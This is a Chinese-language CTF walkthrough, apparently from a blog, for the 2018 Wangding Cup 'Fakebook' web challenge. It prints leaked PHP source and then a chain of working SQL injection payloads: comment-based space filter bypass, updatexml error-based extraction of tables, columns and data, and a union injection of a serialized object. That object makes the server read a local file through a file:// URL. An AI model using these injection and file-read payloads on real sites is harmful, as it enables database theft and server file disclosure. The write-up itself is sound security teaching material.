[网鼎杯 2018]Fakebook

[网鼎杯 2018]Fakebook_第1张图片

页面源代码没有什么有用信息

 在发现

访问user.php.bak

 得到:

name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

看到这里可能会考反序列化,但是暂时没有发现反序列化入口

[网鼎杯 2018]Fakebook_第2张图片

可以使用file伪协议读取文件

先注册一个用户,然后登录

[网鼎杯 2018]Fakebook_第3张图片

发现用户名可以点击

GET传参no

尝试注入

[网鼎杯 2018]Fakebook_第4张图片

发现报错

尝试判断字段数

?no=1 order by 5#

 发现报错

?no=1 union select 1,2,3,4#

可能有过滤,将空格替换为/**/,发现不报错了,但是页面没有回显1,2,3,4

再尝试报错注入

?no=1 and updatexml(1,concat('~',database(),'~'),1)#

得到数据库名为fakebook

查询数据表

?no=1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1) #

数据表为users

查询列

?no=1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database()),'~'),1) #

得到no,username,passwd,data

查询data列中的数据

?no=1 and updatexml(1,concat('~',(select group_concat(data) from users),'~'),1) #

得到

这是个反序列化之后的对象,没有显示完全

利用右查询

?no=1 and updatexml(1,concat('~',(select right(data,30) from users),'~'),1) #

拼起来得到完整的:O:8:"UserInfo":3:{s:4:"name";s:4:"blog";s:8:"aaa.blog";}

刚好对应前面的UserInfo类

将blog构造为:file:///var/www/html/flag.php

[网鼎杯 2018]Fakebook_第5张图片

得到:

O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

然后传参

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

然后查看页面源代码

点进去得到flag

你可能感兴趣的:(BUUCTF,php,web安全)